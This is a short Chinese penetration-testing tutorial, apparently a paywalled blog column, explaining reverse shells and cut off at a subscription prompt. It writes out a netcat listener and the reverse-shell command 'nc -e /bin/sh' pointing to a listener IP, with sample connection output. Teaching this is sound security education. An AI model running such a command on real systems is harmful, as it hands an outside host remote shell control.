渗透测试补充工具及资源汇总
在渗透测试领域,掌握多种工具和资源对于提升测试效率和效果至关重要。本文将详细介绍反向 shell 的使用,同时为大家整理了一系列在渗透测试中非常实用的工具、资源和网络端口信息。
反向 shell
反向 shell 方法与常规情况相反。常规情况下是服务器开启 shell,而反向 shell 是让远程主机开启 shell 来连接我们的服务器。
操作步骤如下:
1. 在客户端机器输入以下命令:
# nc -n -v -l -p 1234
- 在服务器机器输入以下命令:
# nc -e /bin/sh 192.168.2.23 1234
当机器出现以下消息时,表明反向 shell 已成功建立:
connect to [192.168.2.23] from (UNKNOWN) [192.168.2.22] 53529
此时,你可以在客户端输入任何远程服务器支持的命令。例如,若想查看远程机器的 IP 地址,可在客户端输入:
ip addr show
执行结果如下:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc
超级会员免费看
订阅专栏 解锁全文
1299

被折叠的 条评论
为什么被折叠?



